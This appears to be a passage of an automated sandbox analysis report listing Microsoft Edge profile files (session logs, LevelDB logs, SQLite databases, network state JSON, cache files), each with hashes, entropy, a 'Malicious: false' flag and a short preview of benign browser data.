SHA-256:	22C8BCADC2BE4C340E0722D9A5D6616F6E5498E0BE6DBAC905865DCE93347373
SHA-512:	1515C002630F37D3A0EF73F2F079B138116E31B0C35AD4B7B5A1821DFBBCD342D37750E6F3AE6CB665AB4E201A2F4074197DA95905453A21307232644D9AB5F7
Malicious:	false
Preview:	@.......oy retne.........................X....,.................Y.zM./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:4WNTXl/ly/l9/lxEwlta/l2S2ln:4sjmOQ42Nn
MD5:	01666B6715C96D04C819B7B89AC94F65
SHA1:	9CFD4819244607EC25530C0D6C52AD7D1534E73B
SHA-256:	22C8BCADC2BE4C340E0722D9A5D6616F6E5498E0BE6DBAC905865DCE93347373
SHA-512:	1515C002630F37D3A0EF73F2F079B138116E31B0C35AD4B7B5A1821DFBBCD342D37750E6F3AE6CB665AB4E201A2F4074197DA95905453A21307232644D9AB5F7
Malicious:	false
Preview:	@.......oy retne.........................X....,.................Y.zM./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44226.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:4WNTXl/ly/l9/lxEwlta/l2S2ln:4sjmOQ42Nn
MD5:	01666B6715C96D04C819B7B89AC94F65
SHA1:	9CFD4819244607EC25530C0D6C52AD7D1534E73B
SHA-256:	22C8BCADC2BE4C340E0722D9A5D6616F6E5498E0BE6DBAC905865DCE93347373
SHA-512:	1515C002630F37D3A0EF73F2F079B138116E31B0C35AD4B7B5A1821DFBBCD342D37750E6F3AE6CB665AB4E201A2F4074197DA95905453A21307232644D9AB5F7
Malicious:	false
Preview:	@.......oy retne.........................X....,.................Y.zM./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6471
Entropy (8bit):	3.393164345391496
Encrypted:	false
SSDEEP:	192:FZFHEJJUaQVkVQ9Xp+HKiND85SLl9iSrjClm7:FboqaM9Xp+q/5SLl9iSrelI
MD5:	1D25BEFB3E47C311F4CCE7C092773A8C
SHA1:	3343245D79F617CBEE5628F3190730FAC9656AF0
SHA-256:	E4FF66243380555DA0584738B8CC572349B6B649215B32D177C9B85386E78254
SHA-512:	310C8FCD6E9E114353537DD24B2AF2F6FA9AE3F8B6B28CFA5D99383530AC87604BB22628E1455E5F55C0786744B172517E3FE5876A68BAC0792C759C0D84FB3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............9E..b................next-map-id.1.Cnamespace-48efbc6d_4e70_4d11_90e5_017543eb7c0c-https://ntp.msn.com/.0@..T.................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.s.a.b.e.u.r.l.f.b.v.6.c.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.5.c.,.p.r.g.-.1.s.w.-.s.a.l.3.v.f.c.,.p.r.g.-.1.s.w.-.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.w.r.f.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.-.l.o.g.m.s.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.r.d.i.d.x.2.,.p.r.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.106177735528972
Encrypted:	false
SSDEEP:	6:HAZWYVq2PN723oH+TcwtrQMxIFUt8YAZWZgZmw+YAZWkIIkwON723oH+TcwtrQMT:goYVvVaYebCFUt87oZg/+7okII5OaYeL
MD5:	C7AACEF9174B74B67C0E75B9E3ED53A8
SHA1:	AA26A386CD503D0600882F93C0545502B4081475
SHA-256:	E3CCE253248A7113B8E35553D4BDA35AA9067ED58F6051FCC631FC88F225B703
SHA-512:	F831AF27497B404FBAE48F2437FC4F8CD4A7224D4968E90605F806CD9950357332DB3DB078D6721E1205E8B2D978FD5AB5CA59BE374A0F2C044490CD980A4561
Malicious:	false
Preview:	2024/11/25-01:53:36.142 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-01:53:36.143 1f20 Recovering log #3.2024/11/25-01:53:36.147 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.106177735528972
Encrypted:	false
SSDEEP:	6:HAZWYVq2PN723oH+TcwtrQMxIFUt8YAZWZgZmw+YAZWkIIkwON723oH+TcwtrQMT:goYVvVaYebCFUt87oZg/+7okII5OaYeL
MD5:	C7AACEF9174B74B67C0E75B9E3ED53A8
SHA1:	AA26A386CD503D0600882F93C0545502B4081475
SHA-256:	E3CCE253248A7113B8E35553D4BDA35AA9067ED58F6051FCC631FC88F225B703
SHA-512:	F831AF27497B404FBAE48F2437FC4F8CD4A7224D4968E90605F806CD9950357332DB3DB078D6721E1205E8B2D978FD5AB5CA59BE374A0F2C044490CD980A4561
Malicious:	false
Preview:	2024/11/25-01:53:36.142 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-01:53:36.143 1f20 Recovering log #3.2024/11/25-01:53:36.147 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376991217971640

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7941347915571595
Encrypted:	false
SSDEEP:	24:3sq3fB4K/AUr0lpPN2/DVPKBJZaipsAF4unxiXtLp3X2amEtG1ChqwywQKkOAM4o:3sq3fB4K/AUEN2/DVPKBJZaizFy9Lp2a
MD5:	AE3D02EA8D05B9A5E35593C243882FA4
SHA1:	A6B8C909D8894D5142E1BC285E78C79CD71E0A7A
SHA-256:	8DAD4892863A4BC9EFFE7552BDDE560628915CC0D9B1BA0A61CA76DBB5E10F21
SHA-512:	8A617EBBA82E9F287E87477EC5B6376343059D939F4594867ABB346F7CD5BCD497D14FE8B4AE8617B135919E963C5CC29920E3309F132D8C23A6CCAD6B4297C6
Malicious:	false
Preview:	SNSS.......K6%1...........K6%1......"K6%1...........K6%1.......K6%1.......L6%1.......L6%1....!..L6%1...............................K6%1L6%11..,...L6%1$...48efbc6d_4e70_4d11_90e5_017543eb7c0c...K6%1.......L6%1....\|}x........K6%1...K6%1.......................K6%1....................5..0...K6%1&...{46F3A197-DB49-410A-81B3-94975C835573}.....K6%1.......K6%1..........................L6%1...........L6%1........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........?1.'....?1.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.099683266871126
Encrypted:	false
SSDEEP:	6:HAZW/Dvq2PN723oH+Tcwt7Uh2ghZIFUt8YAZW/DiZmw+YAZWb7kwON723oH+TcwK:go/rvVaYebIhHh2FUt87o/O/+7ov5Oa0
MD5:	1B1F4F2BC31AFE723937FBAB4D57C366
SHA1:	CA6FD75B83CB82FB9E170971DE527EBDF5EF4CFD
SHA-256:	FF998113FB6DCFE252F8D2A92D2EA1BE85DBC869545D52F1846C3E3F7441C04B
SHA-512:	A2EE2932E10215479BD631C4C4F3BA16FC244BD224C0DAD65076CCB11AFC34CC05D03D7759F00AEB314BFE1F9108ED7454B64515467AD4E04C8F51946CC3DC3B
Malicious:	false
Preview:	2024/11/25-01:53:35.545 1fc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-01:53:35.545 1fc0 Recovering log #3.2024/11/25-01:53:35.548 1fc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.099683266871126
Encrypted:	false
SSDEEP:	6:HAZW/Dvq2PN723oH+Tcwt7Uh2ghZIFUt8YAZW/DiZmw+YAZWb7kwON723oH+TcwK:go/rvVaYebIhHh2FUt87o/O/+7ov5Oa0
MD5:	1B1F4F2BC31AFE723937FBAB4D57C366
SHA1:	CA6FD75B83CB82FB9E170971DE527EBDF5EF4CFD
SHA-256:	FF998113FB6DCFE252F8D2A92D2EA1BE85DBC869545D52F1846C3E3F7441C04B
SHA-512:	A2EE2932E10215479BD631C4C4F3BA16FC244BD224C0DAD65076CCB11AFC34CC05D03D7759F00AEB314BFE1F9108ED7454B64515467AD4E04C8F51946CC3DC3B
Malicious:	false
Preview:	2024/11/25-01:53:35.545 1fc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-01:53:35.545 1fc0 Recovering log #3.2024/11/25-01:53:35.548 1fc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.207424943810044
Encrypted:	false
SSDEEP:	12:go1SVvVaYebvqBQFUt87osFSg/+7ofI5OaYebvqBvJ:71S5VaYebvZg8csFSCfSOaYebvk
MD5:	89133F9451F43EBBFADF675CDC54BE93
SHA1:	7F57F340DA265EE9C5DD1DAFE82EAF176E9E766C
SHA-256:	EDEA005D87499D77D8B19E22C7FEFF1C4A70BEAEFDCE99B0372F6F831121DC4E
SHA-512:	8B0942637635E03E670AF644429908A5278E91E38F0DB88040935E28B711E88157730C7BF64D7D4687B4A78B593414128CE17AE04151E9DF0622A4D0FC0DA11D
Malicious:	false
Preview:	2024/11/25-01:53:36.164 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-01:53:36.208 1f20 Recovering log #3.2024/11/25-01:53:36.220 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.207424943810044
Encrypted:	false
SSDEEP:	12:go1SVvVaYebvqBQFUt87osFSg/+7ofI5OaYebvqBvJ:71S5VaYebvZg8csFSCfSOaYebvk
MD5:	89133F9451F43EBBFADF675CDC54BE93
SHA1:	7F57F340DA265EE9C5DD1DAFE82EAF176E9E766C
SHA-256:	EDEA005D87499D77D8B19E22C7FEFF1C4A70BEAEFDCE99B0372F6F831121DC4E
SHA-512:	8B0942637635E03E670AF644429908A5278E91E38F0DB88040935E28B711E88157730C7BF64D7D4687B4A78B593414128CE17AE04151E9DF0622A4D0FC0DA11D
Malicious:	false
Preview:	2024/11/25-01:53:36.164 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-01:53:36.208 1f20 Recovering log #3.2024/11/25-01:53:36.220 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\08db917b-c5b0-41f0-8f50-9fa6a2248973.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\32e589d8-ec23-4da8-ab6e-c960b48092ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5c08e014-03de-4d64-9625-cb90bfcebeec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\65109ae1-5e3d-4653-8e29-188d601ed2c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3dcc5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.193046327797094
Encrypted:	false
SSDEEP:	12:gAVvVaYebvqBZFUt87kSg/+7OII5OaYebvqBaJ:h5VaYebvyg8oSQISOaYebvL
MD5:	4D039C34B3AF8172CF89F19CB8AED0D0
SHA1:	09F557D2772A9740A3445FFE7500334988BED90E
SHA-256:	CF75F1CE9DB0542382336143CF3CABC7C87F4ED013DAA8A22036A5B56EE35FBB
SHA-512:	3A11A229AC42FC147BE83297E9BD1302F698CB362681B532C5DCBEF1FFBEE59CECCD9AB6E0D93138F84EFEAD13543408461E05D9AFD9D8A51CBB3534F78B21E1
Malicious:	false
Preview:	2024/11/25-01:53:54.107 1f20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-01:53:54.108 1f20 Recovering log #3.2024/11/25-01:53:54.113 1f20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.193046327797094
Encrypted:	false
SSDEEP:	12:gAVvVaYebvqBZFUt87kSg/+7OII5OaYebvqBaJ:h5VaYebvyg8oSQISOaYebvL
MD5:	4D039C34B3AF8172CF89F19CB8AED0D0
SHA1:	09F557D2772A9740A3445FFE7500334988BED90E
SHA-256:	CF75F1CE9DB0542382336143CF3CABC7C87F4ED013DAA8A22036A5B56EE35FBB
SHA-512:	3A11A229AC42FC147BE83297E9BD1302F698CB362681B532C5DCBEF1FFBEE59CECCD9AB6E0D93138F84EFEAD13543408461E05D9AFD9D8A51CBB3534F78B21E1
Malicious:	false
